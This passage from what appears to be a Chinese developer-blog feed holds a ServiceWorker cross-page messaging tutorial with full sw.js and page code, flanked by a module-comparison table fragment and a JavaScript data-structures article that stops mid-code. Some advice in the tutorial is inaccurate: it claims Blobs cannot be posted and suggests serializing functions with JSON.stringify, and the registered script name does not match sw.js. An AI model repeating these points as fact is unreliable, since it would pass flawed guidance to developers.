值的导出 值拷贝(快照) 实时绑定(引用)
循环依赖 返回未完成的 exports 通过实时绑定处理,访问未初始化会报错
Top-level await ❌ 不支持 ✅ 支持
Tree-shaking ❌ 不支持 ✅ 支持
动态导入 ✅ 原生支持(require 本身) 需使用 import() 函数

前端跨页面通讯终极指南⑦:ServiceWorker 用法全解析

前言

上一篇我们介绍了SharedWorker,今天要介绍一种与SharedWorker的“页面存活依赖”不同,即便在所有页面关闭后仍可后台运行,凭借“后台常驻”特性,实现跨页面、跨会话的通讯。它就是ServiceWorker

本文就带你了解下ServiceWorker ,看看是如何进行跨页面通讯。

1. ServiceWorker 是什么?

在聊通讯之前,我们先了解ServiceWorker的核心定位——它是一种独立于页面主线程的后台线程,由浏览器管理,具备以下关键特性:

  • 独立线程:运行在与页面完全隔离的线程中,不阻塞页面渲染,可执行网络请求、缓存管理等操作。
  • 后台常驻:注册成功后会在后台持续运行,即使所有关联页面关闭,仍能响应事件(如推送通知、网络请求)。
  • 同源限制:仅能控制与其注册页面同源的页面,且协议必须为HTTPS(本地开发可使用localhost例外)。
  • 事件驱动:通过监听installactivatemessage等事件实现功能逻辑,无DOM操作能力。

这些特性也是其实现跨页面通讯的基础,简单来说,ServiceWorker就像一个“驻留在浏览器中的微型服务端”,多个页面可通过它建立通讯连接,实现数据共享与消息传递,甚至在页面离线时完成特定交互。

2. ServiceWorker 是如何进行跨页面通讯

2.1 ServiceWorker 生命周期

注册 (Register)
    ↓
安装 (Install)
    ↓
激活 (Activate)
    ↓
运行 (Active)
    ↓
终止 (Terminated)

image.png

ServiceWorker的跨页面通讯核心是“中心化消息枢纽”模式,依托其“单例运行+多页面连接管理”的特性实现,具体流程可分为三个阶段:

  1. 注册与激活:首个页面通过navigator.serviceWorker.register()注册ServiceWorker脚本,浏览器启动后台线程并执行脚本,触发installactivate事件,此时ServiceWorker进入激活状态,具备通讯能力。
  2. 页面连接建立:每个页面在ServiceWorker激活后,可通过navigator.serviceWorker.controller获取激活的实例,或监听controllerchange事件确认连接,进而通过postMessage()建立消息通道。
  3. 消息分发与传递:ServiceWorker通过监听message事件接收任意页面的消息,可直接处理后反馈给发送页面,或通过clients.matchAll()获取所有连接的页面客户端,实现消息广播或点对点推送。

2.2 整体通讯架构

2.2.1 核心生命周期流程

image.png

2.2.2 关键流程详解

1. 页面连接注册流程

image.png

2. 消息路由分发流程

image.png

3. 广播与点对点消息流程

广播消息:页面发送消息后,ServiceWorker向所有连接的客户端推送;点对点消息:精准定位目标页面ID,仅向指定客户端发送。

广播:

image.png

点对点:

image.png

4. 数据结构设计

使用Map存储客户端连接信息,确保页面ID与客户端实例的快速映射,支持高效的增删改查操作。

┌─────────────────────────────────────────────────────────────────┐
│  connections: Map<string, ClientInfo>                           │
│  ──────────────────────────────────────                         │
│                                                                   │
│  结构示例:                                                       │
│  ┌───────────┬──────────────────────────────┐                   │
│  │    Key    │           Value              │                   │
│  ├───────────┼──────────────────────────────┤                   │
│  │ 'page-123'│ {                            │                   │
│  │           │   client: Client对象,        │                   │
│  │           │   id: 'client-abc123',       │                   │
│  │           │   pageId: 'page-123',        │                   │
│  │           │   lastActive: 1699999999999  │                   │
│  │           │ }                            │                   │
│  ├───────────┼──────────────────────────────┤                   │
│  │ 'page-456'│ {                            │                   │
│  │           │   client: Client对象,        │                   │
│  │           │   id: 'client-xyz789',       │                   │
│  │           │   pageId: 'page-456',        │                   │
│  │           │   lastActive: 1699999999999  │                   │
│  │           │ }                            │                   │
│  └───────────┴──────────────────────────────┘                   │
│                                                                   │
│  核心作用:保存client.id便于通过clients.matchAll()快速匹配目标    │
│                                                                   │
└─────────────────────────────────────────────────────────────────┘

3. 实践案例

ServiceWorker的通讯实现需区分“ServiceWorker脚本”(后台逻辑)和“页面脚本”(前端交互)两部分。

实现需求:同一域名下的pageA、pageB两个页面,通过ServiceWorker实现“点对点消息”和“全局广播消息”两种通讯模式。

3.1 步骤1:编写ServiceWorker核心脚本(sw.js)

该脚本负责监听页面连接、接收消息并实现分发逻辑,核心是通过clients对象管理所有连接的页面客户端。

整合注册管理、消息分发、连接清理等核心功能,支持注册、广播、点对点、心跳检测。

// Service Worker 跨页面通信脚本

// 存储所有连接的页面客户端(使用 Map,key 是 pageId,value 是 client)
const connections = new Map();

console.log('Service Worker 已加载');

// 安装事件
self.addEventListener('install', (event) => {
    console.log('Service Worker 安装中...');
    // 跳过等待,立即激活
    self.skipWaiting();
});

// 激活事件
self.addEventListener('activate', (event) => {
    console.log('Service Worker 已激活');
    // 立即控制所有页面
    event.waitUntil(self.clients.claim());
});

// 监听来自页面的消息
self.addEventListener('message', async (event) => {
    console.log('Service Worker 收到消息:', event.data);

    const { type, pageId, target, data } = event.data;
    const client = event.source;

    // 0. 处理注册消息
    if (type === 'register') {
        // 保存客户端连接
        connections.set(pageId, {
            client: client,
            id: client.id,
            pageId: pageId
        });

        console.log(`页面 ${pageId} 已注册,当前在线:[${Array.from(connections.keys()).join(', ')}]`);

        // 发送注册成功消息
        client.postMessage({
            type: 'registered',
            from: 'ServiceWorker',
            data: `注册成功,当前在线 ${connections.size} 个页面`
        });
        return;
    }

    // 1. 处理广播消息
    if (type === 'broadcast') {
        console.log(`广播消息给 ${connections.size} 个连接`);

        // 获取所有客户端(包括未注册的)
        const allClients = await self.clients.matchAll({
            type: 'window',
            includeUncontrolled: true
        });

        // 遍历所有客户端发送消息
        allClients.forEach((client) => {
            try {
                client.postMessage({
                    type: 'broadcast',
                    from: 'ServiceWorker',
                    sender: pageId,
                    data: `广播消息:${data}`
                });
            } catch (e) {
                console.error('发送失败:', e);
            }
        });
    }

    // 2. 处理点对点消息
    if (type === 'private') {
        console.log(`私发消息给 ${target},当前连接:[${Array.from(connections.keys()).join(', ')}]`);

        if (connections.has(target)) {
            const targetConn = connections.get(target);

            try {
                // 通过 client ID 查找目标客户端
                const allClients = await self.clients.matchAll({
                    type: 'window',
                    includeUncontrolled: true
                });

                const targetClient = allClients.find(c => c.id === targetConn.id);

                if (targetClient) {
                    targetClient.postMessage({
                        type: 'private',
                        from: 'ServiceWorker',
                        sender: pageId,
                        data: `私发消息:${data}`
                    });
                } else {
                    console.log(`警告:客户端 ${target} 已断开`);
                    connections.delete(target);
                }
            } catch (e) {
                console.error('发送失败:', e);
                connections.delete(target);
            }
        } else {
            console.log(`警告:未找到目标页面 ${target}`);
        }
    }

    // 3. 处理心跳检测(用于清理断开的连接)
    if (type === 'heartbeat') {
        // 更新最后活跃时间
        if (connections.has(pageId)) {
            const conn = connections.get(pageId);
            conn.lastActive = Date.now();
            connections.set(pageId, conn);
        }
    }

    // 4. 处理断开连接
    if (type === 'disconnect') {
        connections.delete(pageId);
        console.log(`页面 ${pageId} 断开连接,当前在线:[${Array.from(connections.keys()).join(', ')}]`);
    }

    // 5. 获取在线列表
    if (type === 'get-online') {
        client.postMessage({
            type: 'online-list',
            from: 'ServiceWorker',
            data: Array.from(connections.keys())
        });
    }
});

// 定期清理断开的连接(每30秒检查一次)
setInterval(async () => {
    const allClients = await self.clients.matchAll({
        type: 'window',
        includeUncontrolled: true
    });

    const activeClientIds = new Set(allClients.map(c => c.id));

    // 清理已断开的连接
    for (const [pageId, conn] of connections.entries()) {
        if (!activeClientIds.has(conn.id)) {
            console.log(`清理断开的连接: ${pageId}`);
            connections.delete(pageId);
        }
    }
}, 30000);

3.2 步骤2:编写页面代码

pagesA页面支持ServiceWorker注册、广播消息、点对点通讯。

<body>
    <h3>页面 A(标识:page-123)</h3>

    <div id="status" class="status inactive">Service Worker 未激活</div>

    <div>
        <input type="text" id="msgInput" placeholder="输入消息">
        <br>
        <button onclick="sendBroadcast()">广播消息</button>
        <button onclick="sendToPageB()">发给页面B</button>
        <button onclick="getOnlineList()">获取在线列表</button>
    </div>

    <div id="log"></div>

    <script>
        // 页面唯一标识
        const pageId = 'page-123';
        let serviceWorkerReady = false;

        // 日志输出函数
        function addLog(message) {
            const log = document.getElementById('log');
            const time = new Date().toLocaleTimeString();
            log.innerHTML += `<p>[${time}] ${message}</p>`;
            log.scrollTop = log.scrollHeight;
        }

        // 更新状态
        function updateStatus(active) {
            const statusEl = document.getElementById('status');
            if (active) {
                statusEl.textContent = 'Service Worker 已激活';
                statusEl.className = 'status active';
                serviceWorkerReady = true;
            } else {
                statusEl.textContent = 'Service Worker 未激活';
                statusEl.className = 'status inactive';
                serviceWorkerReady = false;
            }
        }

        // 注册 Service Worker
        async function registerServiceWorker() {
            if ('serviceWorker' in navigator) {
                try {
                    const registration = await navigator.serviceWorker.register('./service-worker.js');
                    console.log('Service Worker 注册成功:', registration);
                    addLog('Service Worker 注册成功');

                    // 等待 Service Worker 激活
                    await navigator.serviceWorker.ready;
                    updateStatus(true);
                    addLog('Service Worker 已激活');

                    // 发送注册消息
                    navigator.serviceWorker.controller.postMessage({
                        type: 'register',
                        pageId: pageId
                    });

                } catch (error) {
                    console.error('Service Worker 注册失败:', error);
                    addLog('Service Worker 注册失败: ' + error.message);
                }
            } else {
                addLog('浏览器不支持 Service Worker');
            }
        }

        // 监听来自 Service Worker 的消息
        navigator.serviceWorker.addEventListener('message', (event) => {
            console.log('页面A收到消息:', event.data);

            const { type, from, sender, data } = event.data;

            if (type === 'registered') {
                addLog(`✓ ${data}`);
            } else if (type === 'broadcast') {
                addLog(`📢 ${sender ? '来自 ' + sender + ': ' : ''}${data}`);
            } else if (type === 'private') {
                addLog(`📨 ${sender ? '来自 ' + sender + ': ' : ''}${data}`);
            } else if (type === 'online-list') {
                addLog(`👥 在线列表: [${data.join(', ')}]`);
            } else {
                addLog(`收到:${JSON.stringify(event.data)}`);
            }
        });

        // 发送广播消息
        function sendBroadcast() {
            if (!serviceWorkerReady) {
                addLog('⚠ Service Worker 未就绪');
                return;
            }

            const input = document.getElementById('msgInput');
            if (!input.value.trim()) {
                addLog('⚠ 请输入消息内容');
                return;
            }

            navigator.serviceWorker.controller.postMessage({
                type: 'broadcast',
                pageId: pageId,
                data: input.value
            });

            addLog(`📤 发送广播: ${input.value}`);
            input.value = '';
        }

        // 发送点对点消息给页面B
        function sendToPageB() {
            if (!serviceWorkerReady) {
                addLog('⚠ Service Worker 未就绪');
                return;
            }

            const input = document.getElementById('msgInput');
            if (!input.value.trim()) {
                addLog('⚠ 请输入消息内容');
                return;
            }

            navigator.serviceWorker.controller.postMessage({
                type: 'private',
                pageId: pageId,
                target: 'page-456',
                data: input.value
            });

            addLog(`📤 发送私信给 page-456: ${input.value}`);
            input.value = '';
        }

        // 获取在线列表
        function getOnlineList() {
            if (!serviceWorkerReady) {
                addLog('⚠ Service Worker 未就绪');
                return;
            }

            navigator.serviceWorker.controller.postMessage({
                type: 'get-online',
                pageId: pageId
            });
        }

        // 页面关闭时发送断开连接消息
        window.addEventListener('beforeunload', () => {
            if (serviceWorkerReady && navigator.serviceWorker.controller) {
                navigator.serviceWorker.controller.postMessage({
                    type: 'disconnect',
                    pageId: pageId
                });
            }
        });

        // 初始化
        registerServiceWorker();

        // 定期发送心跳(可选,用于检测连接状态)
        setInterval(() => {
            if (serviceWorkerReady && navigator.serviceWorker.controller) {
                navigator.serviceWorker.controller.postMessage({
                    type: 'heartbeat',
                    pageId: pageId
                });
            }
        }, 10000);
    </script>
</body>

3.3 步骤3:页面B

页面B与页面A结构相似,仅需修改页面标识和目标页面ID即可,核心适配点:

// 1. 修改页面唯一标识为page-456
const pageId = 'page-456';

// 2. 调整发送私信按钮的目标页面ID
function sendToPageB() {
    // ...(逻辑与sendToPageA一致)
    navigator.serviceWorker.controller.postMessage({
        type: 'private',
        pageId: pageId,
        target: 'page-123', // 目标为页面B的标识
        data: content
    });
}

3.4 步骤4:运行与调试说明

  1. 环境准备:将sw.js和页面文件放在同一目录,通过HTTP服务启动(如live-server、http-server),本地开发可直接用localhost访问,避免file://协议问题。
  2. 调试工具:在Chrome浏览器中直接访问地址:chrome://inspect/#workers;页面会列出当前浏览器中所有运行的Worker实例,找到目标ServiceWorker对应的“inspect”链接并点击,即可打开专属控制台。

image.png 3. 功能验证:同时打开页面A和页面B,点击“广播消息”可看到双方均收到;页面A发送“发给页面B”则仅页面B收到消息,实现点对点通讯。

image.pngimage.png

4. ServiceWorker注意事项

4.1 协议与作用域限制(最常见坑)

ServiceWorker仅支持HTTPS协议(localhost和127.0.0.1为开发例外),若在HTTP环境下使用会直接报错。同时,其“作用域(scope)”决定了可控制的页面范围:

  • 默认scope为注册脚本所在目录,例如在/js/sw.js注册,默认仅控制/js/目录下的页面。
  • 若需控制整个网站,需将sw.js放在根目录,或注册时指定scope: '/',且服务器需配置Service-Worker-Allowed: /响应头。

4.2 脚本更新机制复杂,易导致通讯异常

ServiceWorker注册后会缓存脚本,若修改sw.js后直接刷新页面,新脚本不会立即生效,需通过以下方式触发更新:

  • 页面中调用registration.update()主动检查更新。
  • 修改sw.js的文件内容(哪怕是注释),浏览器会检测到文件哈希变化,触发install事件。
  • 更新后需通过self.skipWaiting()clients.claim()让新脚本立即接管所有页面,否则需关闭所有页面后重新打开才生效。

4.3 消息数据序列化限制

通过postMessage()传递的消息数据需支持“结构化克隆算法”,无法传递函数、DOM元素、Blob等复杂类型。解决方案:

  • 简单数据:直接传递对象或数组。
  • 复杂数据:将Blob转为ArrayBuffer,将函数通过JSON.stringify序列化(需确保无循环引用)。

4.4 客户端管理需处理异常场景

ServiceWorker通过clients.matchAll()获取页面客户端时,需注意:

  • 部分页面可能处于“冻结状态”(如后台标签页),需通过client.focus()激活后再发送消息。
  • 客户端实例可能失效,发送消息前需通过client.urlclient.id验证有效性,避免报错。

4.5 兼容性与降级处理

ServiceWorker在IE浏览器中完全不支持,Safari在iOS 11.3以上才支持。实际项目中需做好降级:

// 降级处理示例:不支持时使用localStorage+storage事件替代
if (!navigator.serviceWorker) {
  log('浏览器不支持ServiceWorker,启用localStorage降级方案');
  // 监听localStorage变化实现跨页面通讯
  window.addEventListener('storage', (e) => {
    if (e.key === 'userLoginState') {
      const state = JSON.parse(e.newValue);
      updateLoginStatus(state);
    }
  });
}

5. 总结:ServiceWorker 通讯的最佳实践

最后总结一下:ServiceWorker是前端在需要离线支持、跨会话同步及后台协同场景下的最优通讯方案,使用时需根据自己的适用场景使用。

如有错误,请指正O^O!

JavaScript 性能与优化:数据结构和算法

引言

在JavaScript开发中, 正确的数据结构和算法选择对应用性能有着决定性的影响。随着Web应用日益复杂, 处理的数据量不断增长, 优化代码性能变得至关重要。本文将深入探讨JavaScript中关键数据结构和算法的实现、优化策略以及其在实际项目中的应用。

一、JavaScript中数据结构的选择策略

1.1 数组与对象的选择

在JavaScript中, 数组和对象是最常用的数据结构, 但它们在不同场景下的性能特征差异显著。

// 数组和对象性能对比示例
class DataStructureSelector {
  // 数组: 适合顺序访问和索引访问
  static arrayPerformanceTest() {
    const arr = [];
    const size = 1000000;

    // 测试插入性能
    console.time("数组插入");
    for (let i = 0; i < size; i++) {
      arr.push(i);
    }
    console.timeEnd("数组插入");

    // 测试随机访问性能
    console.time("数组随机访问");
    for (let i = 0; i < 1000; i++) {
      const index = Math.floor(Math.random() * size);
      const _ = arr[index];
    }
    console.timeEnd("数组随机访问");
  }

  // 对象: 适合键值对查找
  static objectPerformanceTest() {
    const obj = {};
    const size = 1000000;

    console.time("对象插入");
    for (let i = 0; i < size; i++) {
      obj[`key${i}`] = i;
    }
    console.timeEnd("对象插入");

    console.time("对象查找");
    for (let i = 0; i < 1000; i++) {
      const key = `key${Math.floor(Math.random() * size)}`;
      const _ = obj[key];
    }
    console.timeEnd("对象查找");
  }
}

// 性能测试
DataStructureSelector.arrayPerformanceTest();
DataStructureSelector.objectPerformanceTest();
// 数组插入: 24.589ms
// 数组随机访问: 0.172ms
// 对象插入: 933.765ms
// 对象查找: 0.512ms
1.2 Map与Set的优势

ES6引入的Map和Set提供了更专业的键值对和集合操作。

class MapSetPerformance {
  static compareMapVsObject() {
    const size = 1000000;

    // Object测试
    const obj = {};
    console.time("Object设置");
    for (let i = 0; i < size; i++) {
      obj[i] = `value${i}`;
    }
    console.timeEnd("Object设置");

    // Map测试
    const map = new Map();
    console.time("Map设置");
    for (let i = 0; i < size; i++) {
      map.set(i, `value${i}`);
    }
    console.timeEnd("Map设置");

    // 查找性能比较
    console.time("Object查找");
    for (let i = 0; i < 10000; i++) {
      const key = Math.floor(Math.random() * size);
      const _ = obj[key];
    }
    console.timeEnd("Object查找");

    console.time("Map查找");
    for (let i = 0; i < 10000; i++) {
      const key = Math.floor(Math.random() * size);
      const _ = map.get(key);
    }
    console.timeEnd("Map查找");
  }

  static setOperations() {
    const setA = new Set([1, 2, 3, 4, 5]);
    const setB = new Set([4, 5, 6, 7, 8]);

    // 并集
    const union = new Set([...setA, ...setB]);

    // 交集
    const intersection = new Set([...setA].filter((x) => setB.has(x)));

    // 差集
    const difference = new Set([...setA].filter((x) => !setB.has(x)));

    return { union, intersection, difference };
  }
}

MapSetPerformance.compareMapVsObject();
MapSetPerformance.setOperations();
// Object设置: 192.252ms
// Map设置: 329.439ms
// Object查找: 1.574ms
// Map查找: 2.983ms

二、链表及其变体实现

2.1 单向链表
class ListNode {
  constructor(value, next = null) {
    this.value = value;
    this.next = next;
  }
}

class LinkedList {
  constructor() {
    this.head = null;
    this.tail = null;
    this.size = 0;
  }

  // 添加节点到末尾
  append(value) {
    const newNode = new ListNode(value);

    if (!this.head) {
      this.head = newNode;
      this.tail = newNode;
    } else {
      this.tail.next = newNode;
      this.tail = newNode;
    }

    this.size++;
    return this;
  }

  // 添加节点到开头
  prepend(value) {
    const newNode = new ListNode(value, this.head);
    this.head = newNode;

    if (!this.tail) {
      this.tail = newNode;
    }

    this.size++;
    return this;
  }

  // 删除节点
  delete(value) {
    if (!this.head) return null;

    let deletedNode = null;

    // 如果头节点就是要删除的节点
    while (this.head && this.head.value === value) {
      deletedNode = this.head;
      this.head = this.head.next;
      this.size--;
    }

    let currentNode = this.head;

    // 遍历删除匹配的节点
    if (currentNode !== null) {
      while (currentNode.next) {
        if (currentNode.next.value === value) {
          deletedNode = currentNode.next;
          currentNode.next = currentNode.next.next;
        } else {
          currentNode = currentNode.next;
        }
      }
    }

    // 更新尾节点
    if (this.tail && this.tail.value === value) {
      this.tail = currentNode;
    }

    return deletedNode;
  }

  // 查找节点
  find(value) {
    if (!this.head) return null;

    let currentNode = this.head;

    while (currentNode) {
      if (currentNode.value === value) {
        return currentNode;
      }

      currentNode = currentNode.next;
    }

    return null;
  }

  // 反转链表
  reverse() {
    let currentNode = this.head;
    let prevNode = null;
    let nextNode = null;

    while (currentNode) {
      nextNode = currentNode.next;
      currentNode.next = prevNode;

      prevNode = currentNode;
      currentNode = nextNode;
    }

    this.tail = this.head;
    this.head = prevNode;

    return this;
  }

  // 转换为数组
  toArray() {
    const nodes = [];
    let currentNode = this.head;

    while (currentNode) {
      nodes.push(currentNode.value);
      currentNode = currentNode.next;
    }

    return nodes;
  }
}
2.2 双向链表
class DoublyListNode {
  constructor(value, next = null, prev = null) {
    this.value = value;
    this.next = next;
    this.prev = prev;
  }
}

class DoublyLinkedList {
  constructor() {
    this.head = null;
    this.tail = null;
    this.size = 0;
  }
  
  // 在末尾添加节点
  append(value) {
    const newNode = new DoublyListNode(value);
    
    if (!this.head) {
      this.head = newNode;
      this.tail = newNode;
    } else {
      this.tail.next = newNode;
      newNode.prev = this.tail;
      this.tail = newNode;
    }
    
    this.size++;
    return this;
  }
  
  // 在开头添加节点
  prepend(value) {
    const newNode = new DoublyListNode(value, this.head);
    
    if (this.head) {
      this.head.prev = newNode;
    }
    
    this.head = newNode;
    
    if (!this.tail) {
      this.tail = newNode;
    }
    
    this.size++;
    return this;
  }
  
  // 删除节点
  delete(value) {
    if (!this.head) return null;
    
    let deletedNode = null;
    let currentNode = this.head;
    
    while (currentNode) {
      if (currentNode.value === value) {
        deletedNode = currentNode;
        
        if (deletedNode === this.head) {
          this.head = deletedNode.next;
          
          if (this.head) {
            this.head.prev = null;
          }
          
          if (deletedNode === this.tail) {
            this.tail = null;
          }
        } else if (deletedNode === this.tail) {
          this.tail = deletedNode.prev;
          this.tail.next = null;
        } else {
          const prevNode = deletedNode.prev;
          const nextNode = deletedNode.next;
          
          prevNode.next = nextNode;
          nextNode.prev = prevNode;
        }
        
        this.size--;
      }
      
      currentNode = currentNode.next;
    }
    
    return deletedNode;
  }
  
  // 从尾部遍历
  reverseTraversal(callback) {
    let currentNode = this.tail;
    
    while (currentNode) {
      callback(currentNode.value);
      currentNode = currentNode.prev;
    }
  }
}

三、栈和队列的优化实现

3.1 栈的实现
class Stack {
  constructor() {
    this.items = [];
    this.count = 0;
  }
  
  // 入栈
  push(element) {
    this.items[this.count] = element;
    this.count++;
    return this.count;
  }
  
  // 出栈
  pop() {
    if (this.count === 0) return undefined;
    
    this.count--;
    const deletedItem = this.items[this.count];
    delete this.items[this.count];
    return deletedItem;
  }
  
  // 查看栈顶元素
  peek() {
    if (this.count === 0) return undefined;
    return this.items[this.count - 1];
  }
  
  // 检查栈是否为空
  isEmpty() {
    return this.count === 0;
  }
  
  // 获取栈大小
  size() {
    return this.count;
  }
  
  // 清空栈
  clear() {
    this.items = [];
    this.count = 0;
  }
  
  // 栈的应用:括号匹配
  static isBalancedParentheses(str) {
    const stack = new Stack();
    const parenthesesMap = {
      ')': '(',
      '}': '{',
      ']': '['
    };
    
    for (let char of str) {
      if (char === '(' || char === '{' || char === '[') {
        stack.push(char);
      } else if (char === ')' || char === '}' || char === ']') {
        if (stack.isEmpty() || stack.pop() !== parenthesesMap[char]) {
          return false;
        }
      }
    }
    
    return stack.isEmpty();
  }
}
3.2 队列的实现
class Queue {
  constructor() {
    this.items = {};
    this.frontIndex = 0;
    this.backIndex = 0;
  }
  
  // 入队
  enqueue(element) {
    this.items[this.backIndex] = element;
    this.backIndex++;
    return this.backIndex - this.frontIndex;
  }
  
  // 出队
  dequeue() {
    if (this.frontIndex === this.backIndex) return undefined;
    
    const element = this.items[this.frontIndex];
    delete this.items[this.frontIndex];
    this.frontIndex++;
    return element;
  }
  
  // 查看队首元素
  peek() {
    if (this.frontIndex === this.backIndex) return undefined;
    return this.items[this.frontIndex];
  }
  
  // 队列大小
  size() {
    return this.backIndex - this.frontIndex;
  }
  
  // 是否为空
  isEmpty() {
    return this.size() === 0;
  }
  
  // 清空队列
  clear() {
    this.items = {};
    this.frontIndex = 0;
    this.backIndex = 0;
  }
}

// 循环队列实现
class CircularQueue {
  constructor(k) {
    this.capacity = k;
    this.queue = new Array(k);
    this.headIndex = 0;
    this.count = 0;
  }
  
  enQueue(value) {
    if (this.isFull()) return false;
    
    const tailIndex = (this.headIndex + this.count) % this.capacity;
    this.queue[tailIndex] = value;
    this.count++;
    return true;
  }
  
  deQueue() {
    if (this.isEmpty()) return false;
    
    this.headIndex = (this.headIndex + 1) % this.capacity;
    this.count--;
    return true;
  }
  
  Front() {
    if (this.isEmpty()) return -1;
    return this.queue[this.headIndex];
  }
  
  Rear() {
    if (this.isEmpty()) return -1;
    const tailIndex = (this.headIndex + this.count - 1) % this.capacity;
    return this.queue[tailIndex];
  }
  
  isEmpty() {
    return this.count === 0;
  }
  
  isFull() {
    return this.count === this.capacity;
  }
}

四、树结构的深度优化

4.1 二叉树实现
class TreeNode {
  constructor(value) {
    this.value = value;
    this.left = null;
    this.right = null;
  }
}

class BinaryTree {
  constructor() {
    this.root = null;
  }
  
  // 插入节点
  insert(value) {
    const newNode = new TreeNode(value);
    
    if (!this.root) {
      this.root = newNode;
      return this;
    }
    
    let currentNode = this.root;
    
    while (true) {
      if (value < currentNode.value) {
        if (!currentNode.left) {
          currentNode.left = newNode;
          break;
        }
        currentNode = currentNode.left;
      } else {
        if (!currentNode.right) {
          currentNode.right = newNode;
          break;
        }
        currentNode = currentNode.right;
      }
    }
    
    return this;
  }
  
  // 深度优先遍历:前序
  preOrderTraversal(node = this.root, result = []) {
    if (node) {
      result.push(node.value);
      this.preOrderTraversal(node.left, result);
      this.preOrderTraversal(node.right, result);
    }
    return result;
  }
  
  // 深度优先遍历:中序
  inOrderTraversal(node = this.root, result = []) {
    if (node) {
      this.inOrderTraversal(node.left, result);
      result.push(node.value);
      this.inOrderTraversal(node.right, result);
    }
    return result;
  }
  
  // 深度优先遍历:后序
  postOrderTraversal(node = this.root, result = []) {
    if (node) {
      this.postOrderTraversal(node.left, result);
      this.postOrderTraversal(node.right, result);
      result.push(node.value);
    }
    return result;
  }
  
  // 广度优先遍历
  levelOrderTraversal() {
    if (!this.root) return [];
    
    const result = [];
    const queue = [this.root];
    
    while (queue.length > 0) {
      const levelSize = queue.length;
      const currentLevel = [];
      
      for (let i = 0; i < levelSize; i++) {
        const currentNode = queue.shift();
        currentLevel.push(currentNode.value);
        
        if (currentNode.left) {
          queue.push(currentNode.left);
        }
        if (currentNode.right) {
          queue.push(currentNode.right);
        }
      }
      
      result.push(currentLevel);
    }
    
    return result;
  }
  
  // 查找节点
  find(value) {
    let currentNode = this.root;
    
    while (currentNode) {
      if (value === currentNode.value) {
        return currentNode;
      } else if (value < currentNode.value) {
        currentNode = currentNode.left;
      } else {
        currentNode = currentNode.right;
      }
    }
    
    return null;
  }
}
4.2 平衡二叉搜索树(AVL树)
class AVLNode {
  constructor(value) {
    this.value = value;
    this.left = null;
    this.right = null;
    this.height = 1;
  }
}

class AVLTree {
  constructor() {
    this.root = null;
  }
  
  // 获取节点高度
  getHeight(node) {
    return node ? node.height : 0;
  }
  
  // 获取平衡因子
  getBalanceFactor(node) {
    return node ? this.getHeight(node.left) - this.getHeight(node.right) : 0;
  }
  
  // 右旋转
  rightRotate(y) {
    const x = y.left;
    const T2 = x.right;
    
    x.right = y;
    y.left = T2;
    
    y.height = Math.max(this.getHeight(y.left), this.getHeight(y.right)) + 1;
    x.height = Math.max(this.getHeight(x.left), this.getHeight(x.right)) + 1;
    
    return x;
  }
  
  // 左旋转
  leftRotate(x) {
    const y = x.right;
    const T2 = y.left;
    
    y.left = x;
    x.right = T2;
    
    x.height = Math.max(this.getHeight(x.left), this.getHeight(x.right)) + 1;
    y.height = Math.max(this.getHeight(y.left), this.getHeight(y.right)) + 1;
    
    return y;
  }
  
  // 插入节点
  insert(value) {
    this.root = this._insertNode(this.root, value);
  }
  
  _insertNode(node, value) {
    if (!node) return new AVLNode(value);
    
    if (value < node.value) {
      node.left = this._insertNode(node.left, value);
    } else if (value > node.value) {
      node.right = this._insertNode(node.right, value);
    } else {
      return node; // 不允许重复值
    }
    
    // 更新高度
    node.height = 1 + Math.max(
      this.getHeight(node.left),
      this.getHeight(node.right)
    );
    
    // 获取平衡因子
    const balance = this.getBalanceFactor(node);
    
    // 平衡调整
    // 左左情况
    if (balance > 1 && value < node.left.value) {
      return this.rightRotate(node);
    }
    
    // 右右情况
    if (balance < -1 && value > node.right.value) {
      return this.leftRotate(node);
    }
    
    // 左右情况
    if (balance > 1 && value > node.left.value) {
      node.left = this.leftRotate(node.left);
      return this.rightRotate(node);
    }
    
    // 右左情况
    if (balance < -1 && value < node.right.value) {
      node.right = this.rightRotate(node.right);
      return this.leftRotate(node);
    }
    
    return node;
  }
  
  // 查找最小值节点
  findMinNode(node) {
    while (node && node.left) {
      node = node.left;
    }
    return node;
  }
}

五、LRU缓存机制实现

class LRUCache {
  constructor(capacity) {
    this.capacity = capacity;
    this.cache = new Map();
    this.head = { key: null, value: null, prev: null, next: null };
    this.tail = { key: null, value: null, prev: null, next: null };
    this.head.next = this.tail;
    this.tail.prev = this.head;
  }
  
  // 添加节点到链表头部
  _addToHead(node) {
    node.prev = this.head;
    node.next = this.head.next;
    this.head.next.prev = node;
    this.head.next = node;
  }
  
  // 移除节点
  _removeNode(node) {
    const prev = node.prev;
    const next = node.next;
    prev.next = next;
    next.prev = prev;
  }
  
  // 移动到头部
  _moveToHead(node) {
    this._removeNode(node);
    this._addToHead(node);
  }
  
  // 移除尾部节点
  _popTail() {
    const res = this.tail.prev;
    this._removeNode(res);
    return res;
  }
  
  // 获取缓存
  get(key) {
    if (!this.cache.has(key)) {
      return -1;
    }
    
    const node = this.cache.get(key);
    this._moveToHead(node);
    return node.value;
  }
  
  // 设置缓存
  put(key, value) {
    if (this.cache.has(key)) {
      const node = this.cache.get(key);
      node.value = value;
      this._moveToHead(node);
    } else {
      const newNode = {
        key,
        value,
        prev: null,
        next: null
      };
      
      this.cache.set(key, newNode);
      this._addToHead(newNode);
      
      if (this.cache.size > this.capacity) {
        const tail = this._popTail();
        this.cache.delete(tail.key);
      }
    }
  }
  
  // 获取所有缓存键(按使用顺序)
  getKeys() {
    const keys = [];
    let node = this.head.next;
    
    while (node !== this.tail) {
      keys.push(node.key);
      node = node.next;
    }
    
    return keys;
  }
  
  // 清空缓存
  clear() {
    this.cache.clear();
    this.head.next = this.tail;
    this.tail.prev = this.head;
  }
}

// LRU缓存使用示例
const lruCache = new LRUCache(3);

// 添加数据
lruCache.put('user1', { name: 'Alice', age: 25 });
lruCache.put('user2', { name: 'Bob', age: 30 });
lruCache.put('user3', { name: 'Charlie', age: 35 });

console.log('当前缓存键:', lruCache.getKeys()); // ['user3', 'user2', 'user1']

// 访问user1,将其移动到最前面
lruCache.get('user1');
console.log('访问user1后:', lruCache.getKeys()); // ['user1', 'user3', 'user2']

// 添加新数据,超出容量
lruCache.put('user4', { name: 'David', age: 40 });
console.log('添加user4后:', lruCache.getKeys()); // ['user4', 'user1', 'user3']

六、图的算法实现

6.1 图的表示和遍历
class Graph {
  constructor(isDirected = false) {
    this.vertices = new Map();
    this.isDirected = isDirected;
  }
  
  // 添加顶点
  addVertex(vertex) {
    if (!this.vertices.has(vertex)) {
      this.vertices.set(vertex, new Set());
    }
  }
  
  // 添加边
  addEdge(vertex1, vertex2) {
